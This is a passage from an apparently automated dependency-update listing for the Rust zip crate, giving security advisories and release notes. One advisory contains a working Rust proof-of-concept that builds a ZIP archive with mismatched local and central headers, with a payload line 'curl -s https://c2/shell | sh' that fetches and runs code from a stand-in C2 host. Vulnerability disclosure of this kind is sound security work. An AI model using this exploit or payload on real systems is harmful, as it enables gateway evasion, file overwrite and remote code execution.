[https://crates.io/crates/zip](https://crates.io/crates/zip) - [https://rustsec.org/advisories/RUSTSEC-2026-0369.html](https://rustsec.org/advisories/RUSTSEC-2026-0369.html) This data is provided by [OSV](https://osv.dev/vulnerability/RUSTSEC-2026-0369) and the [Rust Advisory Database](https://github.com/RustSec/advisory-db) ([CC0 1.0](https://github.com/rustsec/advisory-db/blob/main/LICENSE.txt)). </details> --- ### zip: `ZipArchive::extract` aborts the process on a symlink entry with a large declared size [CVE-2026-115909](https://nvd.nist.gov/vuln/detail/CVE-2026-115909) / [GHSA-q7v9-x93c-xqv3](https://github.com/advisories/GHSA-q7v9-x93c-xqv3) / [RUSTSEC-2026-0429](https://rustsec.org/advisories/RUSTSEC-2026-0429.html) <details> <summary>More information</summary> #### Details `ZipArchive::extract()` sizes the symlink-target buffer from the uncompressed size declared in the central directory record, before reading a single byte of entry data: ```rust let mut target = Vec::with_capacity(file.size() as usize); ``` Both inputs are attacker-controlled. `ZipFile::size()` returns `uncompressed_size` verbatim from the central directory, widened to a full `u64` by a ZIP64 extended-information extra field, and is never cross-checked against the compressed size, the remaining archive length, or any platform-appropriate bound for a symlink target. `ZipFile::is_symlink()` is decided entirely by the `S_IFLNK` bit of the external-attributes field. `Vec::with_capacity()` is infallible: when the reservation is refused it calls `handle_alloc_error()` and aborts the process. This is not a Rust panic. It is not caught by `catch_unwind()`, is unaffected by `panic = "unwind"`, and is not contained by running the call on a worker thread. A 112-byte archive is sufficient. One `Stored` entry flagged `S_IFLNK` with a ZIP64 field declaring `uncompressed_size = 2^62` and a zero-byte payload makes `extract()` fail with: ``` memory allocation of 4611686018427387904 bytes failed Aborted (core dumped) # exit 134 ``` The declared value only needs to exceed the host's address space, not its RAM: `Vec::with_capacity()` maps address space without touching pages, so resident memory stays flat and the abort happens on the refused reservation itself. Under a `ulimit -v` cap or a memory-constrained container the threshold drops far enough that a plain 32-bit `uncompressed_size` with no ZIP64 field suffices. Applications that extract archives from untrusted input are affected on Unix and Windows targets with default features and no special configuration: upload handling, mail-attachment processing, package and artefact ingestion, backup restore and container-image layer extraction. No confidentiality or integrity property is affected: there is no memory unsafety, no out-of-bounds access, no disclosure and no data corruption. The fix landed in [zip-rs/zip2#984](https://github.com/zip-rs/zip2/pull/984) and shipped in 9.0.0. For further details see: https://github.com/zip-rs/zip2/security/advisories/GHSA-q7v9-x93c-xqv3 #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://crates.io/crates/zip](https://crates.io/crates/zip) - [https://rustsec.org/advisories/RUSTSEC-2026-0429.html](https://rustsec.org/advisories/RUSTSEC-2026-0429.html) This data is provided by [OSV](https://osv.dev/vulnerability/RUSTSEC-2026-0429) and the [Rust Advisory Database](https://github.com/RustSec/advisory-db) ([CC0 1.0](https://github.com/rustsec/advisory-db/blob/main/LICENSE.txt)). </details> --- ### AES entries returned without checking their authentication code when the data ends early or is empty [CVE-2026-115906](https://nvd.nist.gov/vuln/detail/CVE-2026-115906) / [GHSA-8hxf-qr8p-62x4](https://github.com/advisories/GHSA-8hxf-qr8p-62x4) / [RUSTSEC-2026-0545](https://rustsec.org/advisories/RUSTSEC-2026-0545.html) <details> <summary>More information</summary> #### Details For WinZip AES (AE-1 and AE-2) entries, the 10-byte HMAC authentication code was read and checked only after the reader had consumed exactly the entry's declared compressed size. If the archive ended before that size was reached, the read returned end-of-stream and the truncated plaintext was accepted without the check. The authentication code of an entry with no encrypted data was never checked. AES-CTR ciphertext can be changed bit by bit without the password, and AE-2 entries carry no CRC-32, so an attacker who can modify an archive can alter the decrypted contents of such an entry without any error being reported. This affects reading AES-encrypted entries with a password (for example `ZipArchive::by_name_decrypt`) with the `aes-crypto` feature. The fix returns an error when the data ends before the declared size, and checks the authentication code of empty entries. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N` #### References - [https://crates.io/crates/zip](https://crates.io/crates/zip) - [https://rustsec.org/advisories/RUSTSEC-2026-0545.html](https://rustsec.org/advisories/RUSTSEC-2026-0545.html) - [https://github.com/zip-rs/zip2/commit/ec265db0b0602f8ffb9479327397bddefb7e2216](https://github.com/zip-rs/zip2/commit/ec265db0b0602f8ffb9479327397bddefb7e2216) This data is provided by [OSV](https://osv.dev/vulnerability/RUSTSEC-2026-0545) and the [Rust Advisory Database](https://github.com/RustSec/advisory-db) ([CC0 1.0](https://github.com/rustsec/advisory-db/blob/main/LICENSE.txt)). </details> --- ### zip: Critical Parser Differential & Security Control Bypass via Dual-Header Inconsistencies (Zip Cloaking) Leading to Arbitrary File Overwrite & RCE [CVE-2026-115905](https://nvd.nist.gov/vuln/detail/CVE-2026-115905) / [GHSA-m665-v7pm-7grj](https://github.com/advisories/GHSA-m665-v7pm-7grj) / [RUSTSEC-2026-0548](https://rustsec.org/advisories/RUSTSEC-2026-0548.html) <details> <summary>More information</summary> #### Details ##### Summary A critical architectural parser differential exists in the `zip` crate (`<= 9.0.4`) between random-access archive readers (`ZipArchive`) and streaming readers (`ZipStreamReader`). `ZipArchive` considers the Central Directory File Header (CDFH) authoritative and ignores the filename declared in the Local File Header (LFH). In contrast, `ZipStreamReader` relies exclusively on the Local File Header (LFH) when extracting files to the filesystem. This discrepancy enables ZIP archives to appear to have different file paths and contents according to which tool is reading them. --- ##### Details ##### Architectural Root Cause In the PKWARE ZIP archive format, every file entry is defined in two distinct locations: 1. **Local File Header (LFH):** Precedes the compressed payload of each file in the body of the archive. 2. **Central Directory File Header (CDFH):** Stored in a contiguous index at the end of the archive. In `zip2`: - `src/read/zip_archive.rs`: `ZipArchive` parses the central directory into `SharedBuilder.files`. All file lookups by index or name read exclusively from the CDFH table, completely ignoring the filename present in the LFH. - `src/read/stream.rs:L86-L141`: `ZipStreamReader::visit` and `ZipStreamReader::extract` read sequentially from the stream without verifying the central directory index. Each entry is parsed via `read_zipfile_from_stream` and written to disk using the unverified filename declared in the LFH: ```rust // src/read/stream.rs fn visit_file<R: Read>(&mut self, file: &mut ZipFile<'_, R>) -> ZipResult<()> { file.safe_prepare_path(&self.outpath, &mut outpath, None::<&(_, fn(&Path) -> bool)>)?; let mut outfile = fs::File::create(&outpath)?; io::copy(file, &mut outfile)?; Ok(()) } ``` - `src/write.rs:L1552`: The crate explicitly exposes `shallow_copy_file`, an API that constructs dual-header desynchronizations by adding a new CDFH entry with an alias name pointing to an existing file without updating the original LFH. ##### Threat Scenario & Severity Justification (10.0 / 9.9 Critical) 1. **Security Control Evasion:** An adversary crafts a ZIP archive where: - Central Directory Header declares: `doc_report.pdf` (Clean document) - Local File Header declares: `cron_worker.sh` (Malicious root backdoor) 2. The archive is uploaded through a web portal or API endpoint protected by security gateways (WAF, Anti-Virus, Content Disarm & Reconstruction). The security gateway inspects the archive using `ZipArchive` (or similar CDFH-first parsers), detects only `doc_report.pdf`, and approves the file. 3. The backend worker or cloud function receives the approved archive and extracts it using `ZipStreamReader::extract`. `ZipStreamReader` reads the LFH and overwrites `cron_worker.sh`. 4. **Full Compromise (CIA = High):** The legitimate production health checker / service script is destroyed (**Availability = High / DoS**), while the attacker's backdoor payload is implanted (**Integrity = High / RCE**). --- ##### Proof of Concept The following automated integration test reproducibly demonstrates the complete CVSS 10.0 / 9.9 exploit chain (Security Gateway Evasion -> Arbitrary File Overwrite -> RCE & DoS) against `zip2`: ```rust use std::fs; use std::io::{Cursor, Write}; use tempfile::tempdir; use zip::unstable::stream::ZipStreamReader; use zip::write::SimpleFileOptions; use zip::{ZipArchive, ZipWriter}; // Simulated Security Gateway (inspects CDFH via ZipArchive) fn security_gateway_inspection(archive_bytes: &[u8]) -> Result<(), String> { let mut archive = ZipArchive::new(Cursor::new(archive_bytes)).unwrap(); for i in 0..archive.len() { let name = archive.by_index(i).unwrap().name().unwrap().to_string(); if name.ends_with(".sh") || name.ends_with(".exe") { return Err(format!("MALWARE DETECTED: '{}' blocked!", name)); } if !name.ends_with(".pdf") { return Err("Policy violation: only PDFs allowed!".into()); } } Ok(()) } #[test] fn test_cvss_9_9_dual_header_exploit_chain() { // 1. Victim server setup: existing critical script let victim_env = tempdir().unwrap(); let victim_dir = victim_env.path(); let target_script = victim_dir.join("cron_worker.sh"); fs::write(&target_script, b"#!/bin/sh\n# PRODUCTION SERVICE\necho 'SERVICE HEALTHY'\n").unwrap(); // 2. Attacker crafts Single-Entry Dual-Header Archive // LFH: "cron_worker.sh" | CDFH: "doc_report.pdf" let mut payload = Cursor::new(Vec::new()); let mut writer = ZipWriter::new(&mut payload); writer.start_file("cron_worker.sh", SimpleFileOptions::default()).unwrap(); writer.write_all(b"#!/bin/sh\ncurl -s https://c2/shell | sh\necho 'PWNED ROOT'\n").unwrap(); writer.finish().unwrap(); let mut malicious_zip = payload.into_inner(); let cdh = malicious_zip.windows(4).position(|s| s == b"PK\x01\x02").unwrap(); malicious_zip[cdh + 46..cdh + 46 + 14].copy_from_slice(b"doc_report.pdf"); // 3. Gateway Inspection (Bypassed!) assert!(security_gateway_inspection(&malicious_zip).is_ok()); // 4. Backend Extraction (ZipStreamReader) ZipStreamReader::new(Cursor::new(&malicious_zip)).extract(victim_dir).unwrap(); // 5. Impact Verification let compromised = fs::read_to_string(&target_script).unwrap(); assert!(!compromised.contains("SERVICE HEALTHY")); // DoS Confirmed assert!(compromised.contains("PWNED ROOT")); // RCE Confirmed } ``` ##### Verified Test Execution Output ```text running 1 test ================================================================== [CVSS 9.4 EXPLOIT PROOF] Dual-Header Security Gateway Evasion Exploit Chain: Gateway Evasion -> Arbitrary Overwrite -> RCE & DoS ================================================================== [VICTIM SERVER STATE - BEFORE ATTACK] Existing Content: SERVICE IS RUNNING NORMALLY --- [STEP 1: SECURITY GATEWAY INSPECTION] --- [SECURITY GATEWAY] Auditing entry #&#8203;0: 'doc_report.pdf' [GATEWAY VERDICT]: Ok(()) [VULNERABILITY PROOF 1/3]: Security gateway was 100% BLIND to 'cron_worker.sh'! --- [STEP 2: BACKEND EXTRACTION (ZipStreamReader)] --- Backend server unzips approved archive into production directory. --- [STEP 3: POST-ATTACK IMPACT VERIFICATION] --- [VICTIM SERVER STATE - AFTER ATTACK] Compromised Content: curl -s https://attacker.c2/shell | sh echo 'PWNED: FULL ROOT TAKEOVER' ================================================================== [CVSS 9.4 CRITICAL METRICS EMPIRICALLY CONFIRMED] 1. AV:Network, PR:Low, UI:None: Remote unauthenticated gateway submission. Victim process must have write access to the files it is being made to overwrite or the location where it is to plant new files. 2. Security Gateway Evasion: Scanners inspecting CDFH see benign PDF. 3. Arbitrary File Overwrite (VI:High): Existing system scripts replaced. 4. Service Destruction (VA:High): Critical production scripts wiped out. 5. Remote Code Execution (VC:High / SC:High / SI:High): C2 root shell planted. => VERIFIED SCORE: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L = 9.9 CRITICAL ================================================================== test test_cvss_9_9_dual_header_exploit_chain ... ok ``` --- ##### Impact An attacker can construct a crafted archive whose Central Directory displays a benign filename (doc_report.pdf) that is inspected and approved by upstream security gateways (antivirus scanners, mail filters, upload firewalls), while automated backend ingestion pipelines or microservices using ZipStreamReader extract an arbitrary or malicious file (overwriting e.g. cron_worker.sh or critical system binaries). Because an adversary can overwrite existing files on disk, this vulnerability leads to Security Control Bypass, Arbitrary File Overwrite, Complete Denial of Service, and Remote Code Execution (RCE) in situations where a tool relying on the central directory trusts a tool that relied on the local file headers or vice-versa. **Vulnerability Class:** Interpretation Conflict (CWE-436) / Security Control Bypass / Arbitrary File Overwrite / Remote Code Execution. **Who is Impacted:** - Automated ingestion microservices, SaaS platforms, and backend workers that extract user-submitted ZIP files. - Enterprise architectures where security verification (AV scanning, extension whitelisting) is decoupled from extraction (e.g. gateway audits Central Directory via CDFH before handing off extraction to streaming extractors). - Containerized workloads where overwriting local configuration files or executable scripts leads to host/container escape and complete service disruption. #### Severity - CVSS Score: 9.4 / 10 (Critical) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L` #### References - [https://github.com/zip-rs/zip2/security/advisories/GHSA-m665-v7pm-7grj](https://github.com/zip-rs/zip2/security/advisories/GHSA-m665-v7pm-7grj) - [https://nvd.nist.gov/vuln/detail/CVE-2026-115905](https://nvd.nist.gov/vuln/detail/CVE-2026-115905) - [https://github.com/zip-rs/zip2/commit/8068ab480ccf8daa7411424e365fcdbe6d09443e](https://github.com/zip-rs/zip2/commit/8068ab480ccf8daa7411424e365fcdbe6d09443e) - [https://github.com/zip-rs/zip2](https://github.com/zip-rs/zip2) - [https://github.com/zip-rs/zip2/releases/tag/v9.0.5](https://github.com/zip-rs/zip2/releases/tag/v9.0.5) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-m665-v7pm-7grj) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### `ZipStreamReader` extracts entries under local-header names that can differ from the central directory [CVE-2026-115905](https://nvd.nist.gov/vuln/detail/CVE-2026-115905) / [GHSA-m665-v7pm-7grj](https://github.com/advisories/GHSA-m665-v7pm-7grj) / [RUSTSEC-2026-0548](https://rustsec.org/advisories/RUSTSEC-2026-0548.html) <details> <summary>More information</summary> #### Details A ZIP archive names each entry twice: in the local file header in front of the entry's data, and in the central directory at the end of the archive. `ZipArchive` lists and opens entries by their central-directory names. `ZipStreamReader::visit` and `ZipStreamReader::extract`, like `read_zipfile_from_stream`, read the local headers in order and use the local-header names without comparing them with the central directory. An archive can therefore show one set of file names to code that inspects it with `ZipArchive` and write files under other names when it is extracted with `ZipStreamReader`. If an application checks an archive one way and extracts it the other way, an attacker can get files written or overwritten inside the destination directory that the check never saw. The fix adds an opt-in check. `ZipStreamReader::enforce_header_consistency(true)` compares each local header with its central-directory entry (name, sizes, CRC-32, compression method, flags and modification time) and fails extraction on a mismatch; `ZipReadOptions::enforce_header_consistency(true)` and `ZipArchive::validate_header_consistency()` do the same for `ZipArchive`. The check is off by default, so upgrading alone does not change what `ZipStreamReader::new(...)` extracts: applications that extract untrusted archives with `ZipStreamReader` need to turn it on. #### Severity Unknown #### References - [https://crates.io/crates/zip](https://crates.io/crates/zip) - [https://rustsec.org/advisories/RUSTSEC-2026-0548.html](https://rustsec.org/advisories/RUSTSEC-2026-0548.html) - [https://github.com/zip-rs/zip2/commit/8068ab480ccf8daa7411424e365fcdbe6d09443e](https://github.com/zip-rs/zip2/commit/8068ab480ccf8daa7411424e365fcdbe6d09443e) This data is provided by [OSV](https://osv.dev/vulnerability/RUSTSEC-2026-0548) and the [Rust Advisory Database](https://github.com/RustSec/advisory-db) ([CC0 1.0](https://github.com/rustsec/advisory-db/blob/main/LICENSE.txt)). </details> --- ### Release Notes <details> <summary>zip-rs/zip2 (zip)</summary> ### [`v9.0.5`](https://github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#905---2026-10-17) [Compare Source](https://github.com/zip-rs/zip2/compare/v9.0.4...v9.0.5) ##### <!-- 1 -->🐛 Bug Fixes - use mode_t for fchmodat's mode, which is u32 on NetBSD and OpenBSD ([#&#8203;1076](https://github.com/zip-rs/zip2/pull/1076)) - *(write)* prevent duplicate 0x9901 AES extra field in raw_copy_file ([#&#8203;1078](https://github.com/zip-rs/zip2/pull/1078)) ##### <!-- 7 -->⚙️ Miscellaneous Tasks - Enable release-plz on backport branches in future ([#&#8203;1079](https://github.com/zip-rs/zip2/pull/1079)) ### [`v9.0.4`](https://github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#904---2026-10-16) [Compare Source](https://github.com/zip-rs/zip2/compare/v9.0.3...v9.0.4) ##### <!-- 1 -->🐛 Bug Fixes - enclosed_name rejects a separator inside one verbatim path component ([#&#8203;1066](https://github.com/zip-rs/zip2/pull/1066)) - return `Ok(None)` when read_zipfile_from_stream is called on an empty archive ([#&#8203;1063](https://github.com/zip-rs/zip2/pull/1063)) ##### <!-- 7 -->⚙️ Miscellaneous Tasks - Revert impl Copy for Zip64CentralDirectoryEndLocator due to failing semver check, fix CI where most Miri tests weren't running, and other fixes so other PRs can pass CI ([#&#8203;1065](https://github.com/zip-rs/zip2/pull/1065)) - update lzma-rust2 and ppmd-rust dependencies ([#&#8203;1060](https://github.com/zip-rs/zip2/pull/1060)) ### [`v9.0.3`](https://github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#903---2026-10-13) [Compare Source](https://github.com/zip-rs/zip2/compare/9.0.2...v9.0.3) ##### <!-- 1 -->🐛 Bug Fixes - Preserve directories' read-only status when extracting on non-Unix systems ([#&#8203;1054](https://github.com/zip-rs/zip2/pull/1054)) ### [`v9.0.2`](https://github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#902---2026-10-11) [Compare Source](https://github.com/zip-rs/zip2/compare/v9.0.1...9.0.2) ##### <!-- 1 -->🐛 Bug Fixes - additional bug fixes for symlink extraction ### [`v9.0.1`](https://github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#901---2026-10-10) [Compare Source](https://github.com/zip-rs/zip2/compare/v9.0.0...v9.0.1) ##### <!-- 1 -->🐛 Bug Fixes - set_permissions was still following symlinks in non-streaming extraction ([#&#8203;1038](https://github.com/zip-rs/zip2/pull/1038)) - two arithmetic overflows in the implode decoder ([#&#8203;1028](https://github.com/zip-rs/zip2/pull/1028)) - reject an empty archive whose central directory offset is past the EOCD ([#&#8203;1025](https://github.com/zip-rs/zip2/pull/1025)) - don't panic when two entries extract to the same path ([#&#8203;1023](https://github.com/zip-rs/zip2/pull/1023)) - fail reads that exceed the declared uncompressed size ([#&#8203;1022](https://github.com/zip-rs/zip2/pull/1022)) - shrink decoder skipped LZW code 8191 ([#&#8203;1029](https://github.com/zip-rs/zip2/pull/1029)) - write only the sentinel-marked values in a central ZIP64 field ([#&#8203;1027](https://github.com/zip-rs/zip2/pull/1027)) ### [`v9.0.0`](https://github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#900---2026-10-08) [Compare Source](https://github.com/zip-rs/zip2/compare/v8.6.0...v9.0.0) ##### <!-- 0 -->🚀 Features - add ZipFileBuilder for parallelizing compression ([#&#8203;911](https://github.com/zip-rs/zip2/pull/911)) - add method `by_index_with_data_descriptor` ([#&#8203;994](https://github.com/zip-rs/zip2/pull/994)) - add len, is_empty and entry to ZipArchiveMetadata ([#&#8203;1015](https://github.com/zip-rs/zip2/pull/1015)) - read data descriptor from binary ([#&#8203;990](https://github.com/zip-rs/zip2/pull/990)) - add comment and test for ZipStreamReader and symlinks ([#&#8203;985](https://github.com/zip-rs/zip2/pull/985)) - *(write)* add `ZipWriter::hide_file` for in-place entry deletion ([#&#8203;924](https://github.com/zip-rs/zip2/pull/924)) - add compression ([#&#8203;948](https://github.com/zip-rs/zip2/pull/948)) - use ZipFileEntry instead of ZipStreamFileMetadata ([#&#8203;935](https://github.com/zip-rs/zip2/pull/935)) - add ZipFileEntry with no Reader ([#&#8203;933](https://github.com/zip-rs/zip2/pull/933)) - change `aes_mode` to `aes_settings()` in ZipFileData ([#&#8203;925](https://github.com/zip-rs/zip2/pull/925)) ##### <!-- 1 -->🐛 Bug Fixes - reading an empty AES entry again at EOF returns Ok(0) ([#&#8203;1024](https://github.com/zip-rs/zip2/pull/1024)) - reject ZIP64 sizes that overflow u64 when computing data end offsets ([#&#8203;1036](https://github.com/zip-rs/zip2/pull/1036)) - apply central directory metadata in ZipStreamReader, only to written entries ([#&#8203;1030](https://github.com/zip-rs/zip2/pull/1030)) - consume the whole extended timestamp field in the central header ([#&#8203;1016](https://github.com/zip-rs/zip2/pull/1016)) - parse the central header of the extended timestamp ([#&#8203;1002](https://github.com/zip-rs/zip2/pull/1002)) - don't pre-allocate the declared size in the legacy decoders ([#&#8203;991](https://github.com/zip-rs/zip2/pull/991)) - Symlink with very large declared size could lead to out-of-memory panic ([#&#8203;984](https://github.com/zip-rs/zip2/pull/984)) - copy extra fields in raw_copy_file ([#&#8203;955](https://github.com/zip-rs/zip2/pull/955)) ([#&#8203;982](https://github.com/zip-rs/zip2/pull/982)) - add unix_mode when copy_raw_file ([#&#8203;981](https://github.com/zip-rs/zip2/pull/981)) - rewrite documentation of add_symlink_from_path ([#&#8203;979](https://github.com/zip-rs/zip2/pull/979)) - ignore a ZIP64 extra field that no sentinel asked for ([#&#8203;962](https://github.com/zip-rs/zip2/pull/962)) - do not set data descriptor if directory ([#&#8203;973](https://github.com/zip-rs/zip2/pull/973)) - expose flags function for easier access ([#&#8203;972](https://github.com/zip-rs/zip2/pull/972)) - preserve unix permission in raw_copy_file ([#&#8203;956](https://github.com/zip-rs/zip2/pull/956)) - clippy warning on nightly ([#&#8203;960](https://github.com/zip-rs/zip2/pull/960)) - remove extra alloc used to copy ([#&#8203;938](https://github.com/zip-rs/zip2/pull/938)) - lazy allocation on error case ([#&#8203;937](https://github.com/zip-rs/zip2/pull/937)) - fix data alignment ([#&#8203;929](https://github.com/zip-rs/zip2/pull/929)) ##### <!-- 2 -->🚜 Refactor - move extract to own file ([#&#8203;1009](https://github.com/zip-rs/zip2/pull/1009)) - cleanup permissions related code ([#&#8203;961](https://github.com/zip-rs/zip2/pull/961)) - remove feature gate ([#&#8203;949](https://github.com/zip-rs/zip2/pull/949)) - create `ZipFileFlags` to wrap `flags` ([#&#8203;947](https://github.com/zip-rs/zip2/pull/947)) - remove unused trait ([#&#8203;946](https://github.com/zip-rs/zip2/pull/946)) - access `crate::format` with `zip::unstable::format` ([#&#8203;944](https://github.com/zip-rs/zip2/pull/944)) - harmonize functions to `format/functions.rs` ([#&#8203;943](https://github.com/zip-rs/zip2/pull/943)) - rewrite `make_reader()` function ([#&#8203;936](https://github.com/zip-rs/zip2/pull/936)) - simplify `initialize_local_block` ([#&#8203;934](https://github.com/zip-rs/zip2/pull/934)) - move write options to `write/options.rs` ([#&#8203;931](https://github.com/zip-rs/zip2/pull/931)) - move spec to format ([#&#8203;932](https://github.com/zip-rs/zip2/pull/932)) - move Magic to format ([#&#8203;930](https://github.com/zip-rs/zip2/pull/930)) - \[**breaking**] Remove ZipFileData::extra_data_start field that is never read ([#&#8203;926](https://github.com/zip-rs/zip2/pull/926)) ##### <!-- 7 -->⚙️ Miscellaneous Tasks - Fix high-level symlink extraction logic, disable some tests in miri, and fix some typos ([#&#8203;1035](https://github.com/zip-rs/zip2/pull/1035)) ##### Fix - some permissions tests can only run on Unix ([#&#8203;1000](https://github.com/zip-rs/zip2/pull/1000)) ### [`v8.6.0`](https://github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#860---2026-04-25) [Compare Source](https://github.com/zip-rs/zip2/compare/v8.5.1...v8.6.0) ##### <!-- 0 -->🚀 Features - add `compression not supported` as enum error ([#&#8203;774](https://github.com/zip-rs/zip2/pull/774)) ##### <!-- 1 -->🐛 Bug Fixes - allow for `[u8]` as filename ([#&#8203;775](https://github.com/zip-rs/zip2/pull/775)) ##### <!-- 2 -->🚜 Refactor - mark `ZipFlags` as non-exhaustive and add test for `HasZipMetadata` ([#&#8203;777](https://github.com/zip-rs/zip2/pull/777)) - use and simplify is_dir ([#&#8203;776](https://github.com/zip-rs/zip2/pull/776)) ### [`v8.5.1`](https://github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#851---2026-04-06) [Compare Source](https://github.com/zip-rs/zip2/compare/v8.5.0...v8.5.1) ##### <!-- 2 -->🚜 Refactor - change magic finder to stack buffer ([#&#8203;763](https://github.com/zip-rs/zip2/pull/763)) - simplify extra field parsing ([#&#8203;764](https://github.com/zip-rs/zip2/pull/764)) ### [`v8.5.0`](https://github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#850---2026-04-01) [Compare Source](https://github.com/zip-rs/zip2/compare/v8.4.0...v8.5.0) ##### <!-- 1 -->🐛 Bug Fixes - remove `zip64 comment` and add `zip64 extensible data sector` ([#&#8203;747](https://github.com/zip-rs/zip2/pull/747)) ##### <!-- 2 -->🚜 Refactor - remove useless magic in struct ([#&#8203;730](https://github.com/zip-rs/zip2/pull/730)) - change extra_field from Arc\<Vec<u8>> to Arc<\[u8]> ([#&#8203;741](https://github.com/zip-rs/zip2/pull/741)) ##### <!-- 7 -->⚙️ Miscellaneous Tasks - cleanup README ([#&#8203;758](https://github.com/zip-rs/zip2/pull/758)) ### [`v8.4.0`](https://github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#840---2026-03-23) [Compare Source](https://github.com/zip-rs/zip2/compare/v8.3.1...v8.4.0) ##### <!-- 0 -->🚀 Features - add a check for building benches ([#&#8203;748](https://github.com/zip-rs/zip2/pull/748)) ##### <!-- 2 -->🚜 Refactor - split part of `read.rs` for code readability ([#&#8203;744](https://github.com/zip-rs/zip2/pull/744)) - remove unused allow ([#&#8203;745](https://github.com/zip-rs/zip2/pull/745)) ##### <!-- 4 -->⚡ Performance - skip BufReader for Stored files in make_reader ([#&#8203;739](https://github.com/zip-rs/zip2/pull/739)) ##### <!-- 7 -->⚙️ Miscellaneous Tasks - move pull request template to correct folder ([#&#8203;749](https://github.com/zip-rs/zip2/pull/749)) ### [`v8.3.1`](https://github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#831---2026-03-21) [Compare Source](https://github.com/zip-rs/zip2/compare/v8.3.0...v8.3.1) ##### <!-- 2 -->🚜 Refactor - use `AexEncryption::new` ([#&#8203;736](https://github.com/zip-rs/zip2/pull/736)) - update tests to add big endian miri check ([#&#8203;735](https://github.com/zip-rs/zip2/pull/735)) ##### <!-- 7 -->⚙️ Miscellaneous Tasks - cleanup repository files ([#&#8203;743](https://github.com/zip-rs/zip2/pull/743)) ### [`v8.3.0`](https://github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#830---2026-03-19) [Compare Source](https://github.com/zip-rs/zip2/compare/v8.2.0...v8.3.0) ##### <!-- 0 -->🚀 Features - add must_use ([#&#8203;727](https://github.com/zip-rs/zip2/pull/727)) - improve and fix extended timestamp extra field parsing ([#&#8203;713](https://github.com/zip-rs/zip2/pull/713)) - add crc32 ignore option ([#&#8203;710](https://github.com/zip-rs/zip2/pull/710)) - path related code in single file ([#&#8203;712](https://github.com/zip-rs/zip2/pull/712)) ##### <!-- 1 -->🐛 Bug Fixes - Malformed ZIP64 file output ([#&#8203;715](https://github.com/zip-rs/zip2/pull/715)) ([#&#8203;717](https://github.com/zip-rs/zip2/pull/717)) ##### <!-- 2 -->🚜 Refactor - refactor some imports ([#&#8203;734](https://github.com/zip-rs/zip2/pull/734)) - move code to distinct file (datetime, FixedSizeBlock) ([#&#8203;733](https://github.com/zip-rs/zip2/pull/733)) - move stream code to `src/read/stream.rs` ([#&#8203;731](https://github.com/zip-rs/zip2/pull/731)) - remove zip64 extra field update ([#&#8203;732](https://github.com/zip-rs/zip2/pull/732)) - improve part of the code with clippy help ([#&#8203;725](https://github.com/zip-rs/zip2/pull/725)) - simplify code for unicode extra field and improve error message ([#&#8203;724](https://github.com/zip-rs/zip2/pull/724)) - reorganize code ([#&#8203;714](https://github.com/zip-rs/zip2/pull/714)) ##### Deps - avoid pulling in `zeroize_derive` ([#&#8203;720](https://github.com/zip-rs/zip2/pull/720)) ### [`v8.2.0`](https://github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#820---2026-03-02) [Compare Source](https://github.com/zip-rs/zip2/compare/v8.1.0...v8.2.0) ##### <!-- 0 -->🚀 Features - allow custom salt ([#&#8203;680](https://github.com/zip-rs/zip2/pull/680)) - Support compressing bzip2 when feature `bzip2-rs` is enabled, since `bzip2/bzip2-sys` now supports it ([#&#8203;685](https://github.com/zip-rs/zip2/pull/685)) - enforce clippy in CI ([#&#8203;674](https://github.com/zip-rs/zip2/pull/674)) ##### <!-- 1 -->🐛 Bug Fixes - zip64 central header (issue 617) ([#&#8203;629](https://github.com/zip-rs/zip2/pull/629)) - allow aes password as bytes ([#&#8203;686](https://github.com/zip-rs/zip2/pull/686)) - handle extra field padding ([#&#8203;682](https://github.com/zip-rs/zip2/pull/682)) ##### <!-- 2 -->🚜 Refactor - Simplify 2 type conversions in src/write.rs ([#&#8203;687](https://github.com/zip-rs/zip2/pull/687)) ##### <!-- 4 -->⚡ Performance - AI tweaks for string type conversions in src/types.rs ([#&#8203;670](https://github.com/zip-rs/zip2/pull/670)) ### [`v8.1.0`](https://github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#810---2026-02-16) [Compare Source](https://github.com/zip-rs/zip2/compare/v8.0.0...v8.1.0) ##### <!-- 0 -->🚀 Features - *(writer)* Allow getting underlying writer of ZipWriter ([#&#8203;464](https://github.com/zip-rs/zip2/pull/464)) - add system to FileOption, so byte-for-byte identical archives can be created across platforms ([#&#8203;660](https://github.com/zip-rs/zip2/pull/660)) ##### <!-- 1 -->🐛 Bug Fixes - Bugs in extra-data length calculation in src/write.rs ([#&#8203;662](https://github.com/zip-rs/zip2/pull/662)) ### [`v8.0.0`](https://github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#800---2026-02-14) [Compare Source](https://github.com/zip-rs/zip2/compare/v7.4.0...v8.0.0) ##### <!-- 0 -->🚀 Features - document zip flags as enum ([#&#8203;639](https://github.com/zip-rs/zip2/pull/639)) - Migrate to Rust 2024 ([#&#8203;650](https://github.com/zip-rs/zip2/pull/650)) - \[**breaking**] Remove deprecated methods of `DateTime` ([#&#8203;597](https://github.com/zip-rs/zip2/pull/597)) ### [`v7.4.0`](https://github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#740---2026-02-05) [Compare 